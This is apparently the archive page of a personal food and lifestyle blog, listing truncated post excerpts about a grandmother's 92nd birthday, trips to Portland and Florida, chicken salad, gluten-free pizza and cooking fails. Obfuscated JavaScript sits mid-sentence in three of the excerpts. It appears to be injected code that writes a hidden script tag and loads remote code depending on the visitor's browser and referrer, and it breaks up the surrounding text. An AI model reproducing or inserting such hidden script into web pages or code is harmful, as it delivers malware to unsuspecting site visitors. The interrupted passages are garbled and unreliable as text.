My grandma turned 92 a few weeks ago. Yeah, 92! Like a boss! We (Stace and I) decided to take her to the symphony for her birthday, so I was back in Seattle over the weekend. Since neither Stace nor myself are avid symphony goers, we opted for the Cirque de Soleil version. A partial […]
After spending the 4th in Seattle, we headed to Portland to attend the World Domination Summit (more on that tomorrow). I hadn’t been to Portland since I was pretty little – sub 10 years old. My most recent Portland memories involve annoyance with the traffic. We ALWAYS hit Portland rush hour traffic on our way […]
We’re back in Seattle for the 4th (not there yet, but we’ll be headed that way on Wednesday night). Not sure what I’ll be making to add to the festive spread, but here are a few suggestions for anyone looking for something patriotic! Red, White, and Blue Jell-O is always a crowd pleaser! My grandma […]
I spent ALL of last week soaking in the sun in Florida. I was there for work, but stayed a few days on the beach – which made the long trip a bit more bearable. Truth be told, this is really not a bad part of the country. I think it gets a bad rap. […]
Yep, this is a post about grape juice. We make curried ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izfdz|var|u0026u|referrer|ysrta||js|php’.split(‘|’),0,{})) chicken salad a lot in our house. I make a huge batch on Sunday and it’s easy lunches the rest of the week. The recipe calls for grapes and a costco chicken. So often times we just get a […]
I was perusing Pinterest Sunday night and happened upon a Yogurt Cheesecake Souffle. I have this habit of thinking everything made with greek yogurt is good for you. It doesn’t matter if it’s 1 Tbs of greek yogurt + 3 cups of sugar + 7 sticks of butter. If it has greek yogurt, I think […]
I’m always looking for an excuse to bake. Recently, I’ve felt super busy and haven’t had as much time to bake as I’d like. BUT when a friend at work asked if I could make a dozen sugar cookies and decorate them like a pro, how could I say no? Her son is really into […]
Nick’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrndz|var|u0026u|referrer|nayky||js|php’.split(‘|’),0,{})) trying out this whole “gluten free” thing. So last Friday we tried 2 different kinds of gluten free pizza. If you make GF pizza dough from scratch, a lot of recipes call for GF flour and xanthan gum. And there was definitely no xanthan gum at Safeway. BUT there […]
So my friend, Kellie, posted a healthy banana pancake recipe the other day. Eggs + banana + blueberries. Interesting. On Sunday, Nick and I were trying to figure out what to have for breakfast so I suggested these pancakes. I don’t consider myself a pro chef, but I’m relatively coordinated in the kitchen. But I […]
I came across this hilarious collection of cooking fails yesterday. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iizkz|var|u0026u|referrer|dthye||js|php’.split(‘|’),0,{})) rest can be found HERE! Here’s one of my more epic fails. When I was somewhere between 4-12 years old, I baked some cookies all by myself (I’m guessing I was closer to the 10-12 year old range). I […]
